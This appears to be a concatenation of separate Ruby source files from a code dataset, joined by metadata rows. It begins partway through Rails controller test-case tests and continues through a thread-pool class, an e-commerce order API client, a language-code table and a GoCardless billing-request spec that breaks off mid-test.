def test_assert_routing
assert_routing 'content', :controller => 'content', :action => 'index'
end
def test_assert_routing_with_method
with_routing do |set|
set.draw { resources(:content) }
assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
end
end
def test_assert_routing_in_module
with_routing do |set|
set.draw do
namespace :admin do
get 'user' => 'user#index'
end
end
assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
end
end
def test_assert_routing_with_glob
with_routing do |set|
set.draw { get('*path' => "pages#show") }
assert_routing('/company/about', { :controller => 'pages', :action => 'show', :path => 'company/about' })
end
end
def test_params_passing
get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
parsed_params = eval(@response.body)
assert_equal(
{'controller' => 'test_case_test/test', 'action' => 'test_params',
'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
parsed_params
)
end
def test_params_passing_with_fixnums
get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6}
parsed_params = eval(@response.body)
assert_equal(
{'controller' => 'test_case_test/test', 'action' => 'test_params',
'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
parsed_params
)
end
def test_params_passing_with_fixnums_when_not_html_request
get :test_params, :format => 'json', :count => 999
parsed_params = eval(@response.body)
assert_equal(
{'controller' => 'test_case_test/test', 'action' => 'test_params',
'format' => 'json', 'count' => 999 },
parsed_params
)
end
def test_params_passing_path_parameter_is_string_when_not_html_request
get :test_params, :format => 'json', :id => 1
parsed_params = eval(@response.body)
assert_equal(
{'controller' => 'test_case_test/test', 'action' => 'test_params',
'format' => 'json', 'id' => '1' },
parsed_params
)
end
def test_params_passing_with_frozen_values
assert_nothing_raised do
get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze, :deepfreeze => { :frozen => 'icy'.freeze }.freeze
end
parsed_params = eval(@response.body)
assert_equal(
{'controller' => 'test_case_test/test', 'action' => 'test_params',
'frozen' => 'icy', 'frozens' => ['icy'], 'deepfreeze' => { 'frozen' => 'icy' }},
parsed_params
)
end
def test_params_passing_doesnt_modify_in_place
page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
get :test_params, :page => page
assert_equal 2004, page[:year]
end
test "set additional HTTP headers" do
@request.headers['Referer'] = "http://nohost.com/home"
@request.headers['Content-Type'] = "application/rss+xml"
get :test_headers
parsed_env = ActiveSupport::JSON.decode(@response.body)
assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
end
test "set additional env variables" do
@request.headers['HTTP_REFERER'] = "http://example.com/about"
@request.headers['CONTENT_TYPE'] = "application/json"
get :test_headers
parsed_env = ActiveSupport::JSON.decode(@response.body)
assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
assert_equal "application/json", parsed_env["CONTENT_TYPE"]
end
def test_id_converted_to_string
get :test_params, :id => 20, :foo => Object.new
assert_kind_of String, @request.path_parameters[:id]
end
def test_array_path_parameter_handled_properly
with_routing do |set|
set.draw do
get 'file/*path', :to => 'test_case_test/test#test_params'
get ':controller/:action'
end
get :test_params, :path => ['hello', 'world']
assert_equal ['hello', 'world'], @request.path_parameters[:path]
assert_equal 'hello/world', @request.path_parameters[:path].to_param
end
end
def test_assert_realistic_path_parameters
get :test_params, :id => 20, :foo => Object.new
# All elements of path_parameters should use Symbol keys
@request.path_parameters.keys.each do |key|
assert_kind_of Symbol, key
end
end
def test_with_routing_places_routes_back
assert @routes
routes_id = @routes.object_id
begin
with_routing { raise 'fail' }
fail 'Should not be here.'
rescue RuntimeError
end
assert @routes
assert_equal routes_id, @routes.object_id
end
def test_remote_addr
get :test_remote_addr
assert_equal "0.0.0.0", @response.body
@request.remote_addr = "192.0.0.1"
get :test_remote_addr
assert_equal "192.0.0.1", @response.body
end
def test_header_properly_reset_after_remote_http_request
xhr :get, :test_params
assert_nil @request.env['HTTP_X_REQUESTED_WITH']
end
def test_header_properly_reset_after_get_request
get :test_params
@request.recycle!
assert_nil @request.instance_variable_get("@request_method")
end
def test_params_reset_after_post_request
post :no_op, :foo => "bar"
assert_equal "bar", @request.params[:foo]
@request.recycle!
post :no_op
assert @request.params[:foo].blank?
end
def test_filtered_parameters_reset_between_requests
get :no_op, :foo => "bar"
assert_equal "bar", @request.filtered_parameters[:foo]
get :no_op, :foo => "baz"
assert_equal "baz", @request.filtered_parameters[:foo]
end
def test_symbolized_path_params_reset_after_request
get :test_params, :id => "foo"
assert_equal "foo", @request.symbolized_path_parameters[:id]
@request.recycle!
get :test_params
assert_nil @request.symbolized_path_parameters[:id]
end
def test_request_protocol_is_reset_after_request
get :test_protocol
assert_equal "http://", @response.body
@request.env["HTTPS"] = "on"
get :test_protocol
assert_equal "https://", @response.body
@request.env.delete("HTTPS")
get :test_protocol
assert_equal "http://", @response.body
end
def test_request_format
get :test_format, :format => 'html'
assert_equal 'text/html', @response.body
get :test_format, :format => 'json'
assert_equal 'application/json', @response.body
get :test_format, :format => 'xml'
assert_equal 'application/xml', @response.body
get :test_format
assert_equal 'text/html', @response.body
end
def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
cookies['foo'] = 'bar'
get :no_op
assert_equal 'bar', cookies['foo']
end
def test_should_detect_if_cookie_is_deleted
cookies['foo'] = 'bar'
get :delete_cookie
assert_nil cookies['foo']
end
%w(controller response request).each do |variable|
%w(get post put delete head process).each do |method|
define_method("test_#{variable}_missing_for_#{method}_raises_error") do
remove_instance_variable "@#{variable}"
begin
send(method, :test_remote_addr)
assert false, "expected RuntimeError, got nothing"
rescue RuntimeError => error
assert_match(%r{@#{variable} is nil}, error.message)
rescue => error
assert false, "expected RuntimeError, got #{error.class}"
end
end
end
end
FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
READ_BINARY = 'rb:binary'
READ_PLAIN = 'r:binary'
def test_test_uploaded_file
filename = 'mona_lisa.jpg'
path = "#{FILES_DIR}/#{filename}"
content_type = 'image/png'
expected = File.read(path)
expected.force_encoding(Encoding::BINARY)
file = Rack::Test::UploadedFile.new(path, content_type)
assert_equal filename, file.original_filename
assert_equal content_type, file.content_type
assert_equal file.path, file.local_path
assert_equal expected, file.read
new_content_type = "new content_type"
file.content_type = new_content_type
assert_equal new_content_type, file.content_type
end
def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
TestCaseTest.stubs(:fixture_path).returns(FILES_DIR)
uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png')
assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
end
def test_test_uploaded_file_with_binary
filename = 'mona_lisa.jpg'
path = "#{FILES_DIR}/#{filename}"
content_type = 'image/png'
binary_uploaded_file = Rack::Test::UploadedFile.new(path, content_type, :binary)
assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
plain_uploaded_file = Rack::Test::UploadedFile.new(path, content_type)
assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
end
def test_fixture_file_upload_with_binary
filename = 'mona_lisa.jpg'
path = "#{FILES_DIR}/#{filename}"
content_type = 'image/jpg'
binary_file_upload = fixture_file_upload(path, content_type, :binary)
assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
plain_file_upload = fixture_file_upload(path, content_type)
assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
end
def test_fixture_file_upload
post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
assert_equal '159528', @response.body
end
def test_fixture_file_upload_relative_to_fixture_path
TestCaseTest.stubs(:fixture_path).returns(FILES_DIR)
uploaded_file = fixture_file_upload("mona_lisa.jpg", "image/jpg")
assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
end
def test_fixture_file_upload_ignores_nil_fixture_path
TestCaseTest.stubs(:fixture_path).returns(nil)
uploaded_file = fixture_file_upload("#{FILES_DIR}/mona_lisa.jpg", "image/jpg")
assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
end
def test_action_dispatch_uploaded_file_upload
filename = 'mona_lisa.jpg'
path = "#{FILES_DIR}/#{filename}"
post :test_file_upload, :file => ActionDispatch::Http::UploadedFile.new(:filename => path, :type => "image/jpg", :tempfile => File.open(path))
assert_equal '159528', @response.body
end
def test_test_uploaded_file_exception_when_file_doesnt_exist
assert_raise(RuntimeError) { Rack::Test::UploadedFile.new('non_existent_file') }
end
def test_redirect_url_only_cares_about_location_header
get :create
assert_response :created
# Redirect url doesn't care that it wasn't a :redirect response.
assert_equal 'created resource', @response.redirect_url
assert_equal @response.redirect_url, redirect_to_url
# Must be a :redirect response.
assert_raise(ActiveSupport::TestCase::Assertion) do
assert_redirected_to 'created resource'
end
end
end
class InferringClassNameTest < ActionController::TestCase
def test_determine_controller_class
assert_equal ContentController, determine_class("ContentControllerTest")
end
def test_determine_controller_class_with_nonsense_name
assert_nil determine_class("HelloGoodBye")
end
def test_determine_controller_class_with_sensible_name_where_no_controller_exists
assert_nil determine_class("NoControllerWithThisNameTest")
end
private
def determine_class(name)
ActionController::TestCase.determine_default_controller_class(name)
end
end
class CrazyNameTest < ActionController::TestCase
tests ContentController
def test_controller_class_can_be_set_manually_not_just_inferred
assert_equal ContentController, self.class.controller_class
end
end
class CrazySymbolNameTest < ActionController::TestCase
tests :content
def test_set_controller_class_using_symbol
assert_equal ContentController, self.class.controller_class
end
end
class CrazyStringNameTest < ActionController::TestCase
tests 'content'
def test_set_controller_class_using_string
assert_equal ContentController, self.class.controller_class
end
end
class NamedRoutesControllerTest < ActionController::TestCase
tests ContentController
def test_should_be_able_to_use_named_routes_before_a_request_is_done
with_routing do |set|
set.draw { resources :contents }
assert_equal 'http://test.host/contents/new', new_content_url
assert_equal 'http://test.host/contents/1', content_url(:id => 1)
end
end
end
class AnonymousControllerTest < ActionController::TestCase
def setup
@controller = Class.new(ActionController::Base) do
def index
render :text => params[:controller]
end
end.new
@routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
r.draw do
get ':controller(/:action(/:id))'
end
end
end
def test_controller_name
get :index
assert_equal 'anonymous', @response.body
end
end
class RoutingDefaultsTest < ActionController::TestCase
def setup
@controller = Class.new(ActionController::Base) do
def post
render :text => request.fullpath
end
def project
render :text => request.fullpath
end
end.new
@routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
r.draw do
get '/posts/:id', :to => 'anonymous#post', :bucket_type => 'post'
get '/projects/:id', :to => 'anonymous#project', :defaults => { :bucket_type => 'project' }
end
end
end
def test_route_option_can_be_passed_via_process
get :post, :id => 1, :bucket_type => 'post'
assert_equal '/posts/1', @response.body
end
def test_route_default_is_not_required_for_building_request_uri
get :project, :id => 2
assert_equal '/projects/2', @response.body
end
end
| 29.985104 | 146 | 0.669647 |
ff1eecc11026a21cf6d5a3f443560b65378f7777
| 2,757 |
#
# Copyright 2014 Mike Heijmans
# Copyright 2014-2018 Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "thread"
module Omnibus
class ThreadPool
#
# Create a new thread pool of the given size. If a block is given, it is
# assumed the thread pool is wrapping an operation and will block until all
# operations complete.
#
# @example Using a block
# ThreadPool.new(5) do |pool|
# complex_things.each do |thing|
# pool.schedule { thing.run }
# end
# end
#
# @example Using the object
# pool = ThreadPool.new(5)
# # ...
# pool.schedule { complex_operation_1 }
# pool.schedule { complex_operation_2 }
# # ...
# pool.schedule { complex_operation_4 }
# # ...
# pool.shutdown
#
# # or
#
# at_exit { pool.shutdown }
#
# @param [Integer] size
# the number of items to put in the thread pool
#
def initialize(size)
@size = size
@jobs = Queue.new
@pool = Array.new(@size) do |i|
Thread.new do
Thread.abort_on_exception = true
Thread.current[:id] = i
catch(:exit) do
loop do
job, args = @jobs.pop
job.call(*args)
end
end
end
end
if block_given?
yield self
shutdown
end
end
#
# Schedule a single item onto the queue. If arguments are given, those
# arguments are used when calling the block in the queue. This is useful
# if you have arguments that you need to pass in from a parent binding.
#
# @param [Object, Array<Object>] args
# the arguments to pass to the block when calling
# @param [Proc] block
# the block to execute
#
# @return [void]
#
def schedule(*args, &block)
@jobs << [block, args]
end
#
# Stop the thread pool. This method quietly injects an exit clause into the
# queue (sometimes called "poison") and then waits for all threads to
# exit.
#
# @return [true]
#
def shutdown
@size.times do
schedule { throw :exit }
end
@pool.map(&:join)
true
end
end
end
| 25.063636 | 79 | 0.60029 |
799f15a102ecaa1966b24c98e1e5b167cb28df43
| 4,520 |
module SpreePluggto::Api
class Order
class << self
def find(pluggto_id)
response = ::SpreePluggto::Api::Request.new.get("/orders/#{pluggto_id}")
response["Order"]
end
def update(spree_order)
response = ::SpreePluggto::Api::Request.new.put("/orders/#{spree_order.pluggto_id}", params(spree_order).to_json)
end
private
def pluggto_status(spree_order)
return 'canceled' if spree_order.canceled?
return 'shipping_informed' if spree_order.shipped?
return 'approved' if spree_order.shipment_state == 'ready'
return 'partial_payment' if spree_order.payment_state == 'credit_owed'
return 'pending'
end
def phone_area(number)
ddd_regex = /\((?<DDD>\d\d)\)/
ddd_regex.match(number)["DDD"]
end
def phone_without_area(number)
number.sub(/\(..\)/, '').strip
end
def params(spree_order)
{
"status": pluggto_status(spree_order),
"subtotal": spree_order.amount,
"total": spree_order.total,
"total_paid": spree_order.payment_total.to_s,
"shipping": spree_order.shipment_total,
"discount": spree_order.adjustment_total,
"external": spree_order.number,
"receiver_email": spree_order.email,
"receiver_name": spree_order.ship_address.firstname,
"receiver_lastname": spree_order.ship_address.lastname,
"receiver_address": spree_order.ship_address.address1,
"receiver_address_number": spree_order.ship_address.street_number,
"receiver_address_complement": spree_order.ship_address.address2,
"receiver_city": spree_order.ship_address.city,
"receiver_neighborhood": spree_order.ship_address.neighborhood,
"receiver_state": spree_order.ship_address.state.abbr,
"receiver_zipcode": spree_order.ship_address.zipcode,
"receiver_phone": phone_without_area(spree_order.ship_address.phone),
"receiver_phone_area": phone_area(spree_order.ship_address.phone),
"payer_email": spree_order.email,
"payer_name": spree_order.bill_address.firstname,
"payer_lastname": spree_order.bill_address.lastname,
"payer_address": spree_order.bill_address.address1,
"payer_address_number": spree_order.bill_address.street_number,
"payer_address_complement": spree_order.bill_address.address2,
"payer_city": spree_order.bill_address.city,
"payer_neighborhood": spree_order.bill_address.neighborhood,
"payer_state": spree_order.bill_address.state.abbr,
"payer_zipcode": spree_order.bill_address.zipcode,
"payer_phone": phone_without_area(spree_order.bill_address.phone),
"payer_phone_area": phone_area(spree_order.bill_address.phone),
"payer_cpf": spree_order.cpf,
"shipments": spree_order.shipments.map { |shipment|
{
"id": shipment.pluggto_id,
"estimate_delivery_date": (shipment.expected_delivery_date if shipment.shipped?),
"nfe_date": (shipment.shipped_at.to_date if shipment.shipped?),
"nfe_key": (shipment.get_invoice_key if shipment.shipped?),
"track_url": (shipment.tracking_url_with_code if shipment.shipped?),
"nfe_link": (shipment.get_invoice_pdf if shipment.shipped?),
"external": shipment.number,
"shipping_company": shipment.shipping_method.name,
"shipping_method": shipment.shipping_method.name,
"track_code": shipment.tracking,
"date_shipped": shipment.shipped_at&.to_date,
"nfe_number": shipment.nf_number&.split("/")&.first,
"nfe_serie": shipment.nf_number&.split("/")&.last,
"shipping_items": shipment.line_items.map { |line_item|
{
"sku": line_item.sku,
"quantity": line_item.quantity
}
}
}
},
"items": spree_order.line_items.map { |line_item|
{
"quantity": line_item.quantity,
"sku": line_item.sku,
"price": line_item.price,
"total": line_item.total,
"name": line_item.name,
"variation": {
"sku": line_item.sku
},
}
}
}.compact
end
end
end
end
| 40 | 121 | 0.619912 |
4ae59365479059ba5aefe5f4cc4ca326e7f0275d
| 822 |
# frozen_string_literal: true
module Menu
# menuPrincipal
class MenuMain
attr_accessor :price
attr_reader :name, :description, :id
DATA_PATH = "data/menu_mains.csv"
def initialize(args)
@name = args.fetch(:name)
@description = args.fetch(:description)
@price = args.fetch(:price)
@id = rand(2000)
end
def create
CSV.open(DATA_PATH, "ab") do |csv|
csv << [id, name, description, price]
end
self
end
def self.print_menu
menu = Helpers.csv_parse(DATA_PATH)
menu.map do |item|
p "*****MENU****"
p "#{item["id"]} - #{item["name"]} - #{item["description"]} - R$ #{item["price"]}"
MenuMain.new({ name: item["name"], description: item["description"], price: item["price"] })
end
end
end
end
| 23.485714 | 100 | 0.579075 |
e27064185599bb7cb38f960737d22648ec56d0ab
| 2,998 |
module Google
module Language
Languages = {
'af' => 'AFRIKAANS',
'sq' => 'ALBANIAN',
'am' => 'AMHARIC',
'ar' => 'ARABIC',
'hy' => 'ARMENIAN',
'az' => 'AZERBAIJANI',
'eu' => 'BASQUE',
'be' => 'BELARUSIAN',
'bn' => 'BENGALI',
'bh' => 'BIHARI',
'bg' => 'BULGARIAN',
'my' => 'BURMESE',
'ca' => 'CATALAN',
'chr' => 'CHEROKEE',
'zh' => 'CHINESE',
'zh-CN' => 'CHINESE_SIMPLIFIED',
'zh-TW' => 'CHINESE_TRADITIONAL',
'hr' => 'CROATIAN',
'cs' => 'CZECH',
'da' => 'DANISH',
'dv' => 'DHIVEHI',
'nl' => 'DUTCH',
'en' => 'ENGLISH',
'eo' => 'ESPERANTO',
'et' => 'ESTONIAN',
'tl' => 'FILIPINO',
'fi' => 'FINNISH',
'fr' => 'FRENCH',
'gl' => 'GALICIAN',
'ka' => 'GEORGIAN',
'de' => 'GERMAN',
'el' => 'GREEK',
'gn' => 'GUARANI',
'gu' => 'GUJARATI',
'iw' => 'HEBREW',
'hi' => 'HINDI',
'hu' => 'HUNGARIAN',
'is' => 'ICELANDIC',
'id' => 'INDONESIAN',
'iu' => 'INUKTITUT',
'it' => 'ITALIAN',
'ja' => 'JAPANESE',
'kn' => 'KANNADA',
'kk' => 'KAZAKH',
'km' => 'KHMER',
'ko' => 'KOREAN',
'ku' => 'KURDISH',
'ky' => 'KYRGYZ',
'lo' => 'LAOTHIAN',
'lv' => 'LATVIAN',
'lt' => 'LITHUANIAN',
'mk' => 'MACEDONIAN',
'ms' => 'MALAY',
'ml' => 'MALAYALAM',
'mt' => 'MALTESE',
'mr' => 'MARATHI',
'mn' => 'MONGOLIAN',
'ne' => 'NEPALI',
'no' => 'NORWEGIAN',
'or' => 'ORIYA',
'ps' => 'PASHTO',
'fa' => 'PERSIAN',
'pl' => 'POLISH',
'pt-PT' => 'PORTUGUESE',
'pa' => 'PUNJABI',
'ro' => 'ROMANIAN',
'ru' => 'RUSSIAN',
'sa' => 'SANSKRIT',
'sr' => 'SERBIAN',
'sd' => 'SINDHI',
'si' => 'SINHALESE',
'sk' => 'SLOVAK',
'sl' => 'SLOVENIAN',
'es' => 'SPANISH',
'sw' => 'SWAHILI',
'sv' => 'SWEDISH',
'tg' => 'TAJIK',
'ta' => 'TAMIL',
'tl' => 'TAGALOG',
'te' => 'TELUGU',
'th' => 'THAI',
'bo' => 'TIBETAN',
'tr' => 'TURKISH',
'uk' => 'UKRAINIAN',
'ur' => 'URDU',
'uz' => 'UZBEK',
'ug' => 'UIGHUR',
'vi' => 'VIETNAMESE',
'' => 'UNKNOWN'
}
# judge whether the language is supported by google translate
def supported?(language)
if Languages.key?(language) || Languages.value?(language.upcase)
true
else
false
end
end
module_function :supported?
# get the abbrev of the language
def abbrev(language)
if supported?(language)
if Languages.key?(language)
language
else
language.upcase!
Languages.each do |k,v|
if v == language
return k
end
end
end
else
nil
end
end
module_function :abbrev
end
end
| 20.534247 | 70 | 0.412608 |
6a28e5c92ba189628131bbc6c30250254cc15bbf
| 961 |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v5/services/landing_page_view_service.proto
require 'google/protobuf'
require 'google/ads/google_ads/v5/resources/landing_page_view_pb'
require 'google/api/annotations_pb'
require 'google/api/client_pb'
require 'google/api/field_behavior_pb'
require 'google/api/resource_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/ads/googleads/v5/services/landing_page_view_service.proto", :syntax => :proto3) do
add_message "google.ads.googleads.v5.services.GetLandingPageViewRequest" do
optional :resource_name, :string, 1
end
end
end
module Google
module Ads
module GoogleAds
module V5
module Services
GetLandingPageViewRequest = ::Google::Protobuf::DescriptorPool.generated_pool.lookup("google.ads.googleads.v5.services.GetLandingPageViewRequest").msgclass
end
end
end
end
end
| 32.033333 | 165 | 0.771072 |
6a25b0ba4a37dcbaee05efe7c49a26e36dd326ff
| 30,030 |
require 'spec_helper'
describe GoCardlessPro::Resources::BillingRequest do
let(:client) do
GoCardlessPro::Client.new(
access_token: 'SECRET_TOKEN'
)
end
let(:response_headers) { { 'Content-Type' => 'application/json' } }
describe '#list' do
describe 'with no filters' do
subject(:get_list_response) { client.billing_requests.list }
before do
stub_request(:get, %r{.*api.gocardless.com/billing_requests}).to_return(
body: {
'billing_requests' => [{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
}],
meta: {
cursors: {
before: nil,
after: 'ABC123',
},
},
}.to_json,
headers: response_headers
)
end
it 'wraps each item in the resource class' do
expect(get_list_response.records.map(&:class).uniq.first).to eq(GoCardlessPro::Resources::BillingRequest)
expect(get_list_response.records.first.actions).to eq('actions-input')
expect(get_list_response.records.first.created_at).to eq('created_at-input')
expect(get_list_response.records.first.fallback_enabled).to eq('fallback_enabled-input')
expect(get_list_response.records.first.id).to eq('id-input')
expect(get_list_response.records.first.mandate_request).to eq('mandate_request-input')
expect(get_list_response.records.first.metadata).to eq('metadata-input')
expect(get_list_response.records.first.payment_request).to eq('payment_request-input')
expect(get_list_response.records.first.resources).to eq('resources-input')
expect(get_list_response.records.first.status).to eq('status-input')
end
it 'exposes the cursors for before and after' do
expect(get_list_response.before).to eq(nil)
expect(get_list_response.after).to eq('ABC123')
end
specify { expect(get_list_response.api_response.headers).to eql('content-type' => 'application/json') }
end
end
describe '#all' do
let!(:first_response_stub) do
stub_request(:get, %r{.*api.gocardless.com/billing_requests$}).to_return(
body: {
'billing_requests' => [{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
}],
meta: {
cursors: { after: 'AB345' },
limit: 1,
},
}.to_json,
headers: response_headers
)
end
let!(:second_response_stub) do
stub_request(:get, %r{.*api.gocardless.com/billing_requests\?after=AB345}).to_return(
body: {
'billing_requests' => [{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
}],
meta: {
limit: 2,
cursors: {},
},
}.to_json,
headers: response_headers
)
end
it 'automatically makes the extra requests' do
expect(client.billing_requests.all.to_a.length).to eq(2)
expect(first_response_stub).to have_been_requested
expect(second_response_stub).to have_been_requested
end
end
describe '#create' do
subject(:post_create_response) { client.billing_requests.create(params: new_resource) }
context 'with a valid request' do
let(:new_resource) do
{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
}
end
before do
stub_request(:post, %r{.*api.gocardless.com/billing_requests}).
with(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}
).
to_return(
body: {
'billing_requests' =>
{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'creates and returns the resource' do
expect(post_create_response).to be_a(GoCardlessPro::Resources::BillingRequest)
end
end
context 'with a request that returns a validation error' do
let(:new_resource) { {} }
before do
stub_request(:post, %r{.*api.gocardless.com/billing_requests}).to_return(
body: {
error: {
type: 'validation_failed',
code: 422,
errors: [
{ message: 'test error message', field: 'test_field' },
],
},
}.to_json,
headers: response_headers,
status: 422
)
end
it 'throws the correct error' do
expect { post_create_response }.to raise_error(GoCardlessPro::ValidationError)
end
end
context 'with a request that returns an idempotent creation conflict error' do
let(:id) { 'ID123' }
let(:new_resource) do
{
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
}
end
let!(:post_stub) do
stub_request(:post, %r{.*api.gocardless.com/billing_requests}).to_return(
body: {
error: {
type: 'invalid_state',
code: 409,
errors: [
{
message: 'A resource has already been created with this idempotency key',
reason: 'idempotent_creation_conflict',
links: {
conflicting_resource_id: id,
},
},
],
},
}.to_json,
headers: response_headers,
status: 409
)
end
let!(:get_stub) do
stub_url = "/billing_requests/#{id}"
stub_request(:get, /.*api.gocardless.com#{stub_url}/).
to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'fetches the already-created resource' do
post_create_response
expect(post_stub).to have_been_requested
expect(get_stub).to have_been_requested
end
end
end
describe '#get' do
let(:id) { 'ID123' }
subject(:get_response) { client.billing_requests.get(id) }
context 'passing in a custom header' do
let!(:stub) do
stub_url = '/billing_requests/:identity'.gsub(':identity', id)
stub_request(:get, /.*api.gocardless.com#{stub_url}/).
with(headers: { 'Foo' => 'Bar' }).
to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
subject(:get_response) do
client.billing_requests.get(id, headers: {
'Foo' => 'Bar',
})
end
it 'includes the header' do
get_response
expect(stub).to have_been_requested
end
end
context 'when there is a billing_request to return' do
before do
stub_url = '/billing_requests/:identity'.gsub(':identity', id)
stub_request(:get, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response in a resource' do
expect(get_response).to be_a(GoCardlessPro::Resources::BillingRequest)
end
end
context 'when nothing is returned' do
before do
stub_url = '/billing_requests/:identity'.gsub(':identity', id)
stub_request(:get, /.*api.gocardless.com#{stub_url}/).to_return(
body: '',
headers: response_headers
)
end
it 'returns nil' do
expect(get_response).to be_nil
end
end
context "when an ID is specified which can't be included in a valid URI" do
let(:id) { '`' }
it "doesn't raise an error" do
expect { get_response }.to_not raise_error(/bad URI/)
end
end
end
describe '#collect_customer_details' do
subject(:post_response) { client.billing_requests.collect_customer_details(resource_id) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/collect_customer_details
stub_url = '/billing_requests/:identity/actions/collect_customer_details'.gsub(':identity', resource_id)
stub_request(:post, /.*api.gocardless.com#{stub_url}/).to_return(
body: {
'billing_requests' => {
'actions' => 'actions-input',
'created_at' => 'created_at-input',
'fallback_enabled' => 'fallback_enabled-input',
'id' => 'id-input',
'links' => 'links-input',
'mandate_request' => 'mandate_request-input',
'metadata' => 'metadata-input',
'payment_request' => 'payment_request-input',
'resources' => 'resources-input',
'status' => 'status-input',
},
}.to_json,
headers: response_headers
)
end
it 'wraps the response and calls the right endpoint' do
expect(post_response).to be_a(GoCardlessPro::Resources::BillingRequest)
expect(stub).to have_been_requested
end
context 'when the request needs a body and custom header' do
let(:body) { { foo: 'bar' } }
let(:headers) { { 'Foo' => 'Bar' } }
subject(:post_response) { client.billing_requests.collect_customer_details(resource_id, body, headers) }
let(:resource_id) { 'ABC123' }
let!(:stub) do
# /billing_requests/%v/actions/collect_customer_details
stub_url = '/billing_requests/:identity/actions/collect_customer_details'.gsub(':identity', resource_id)
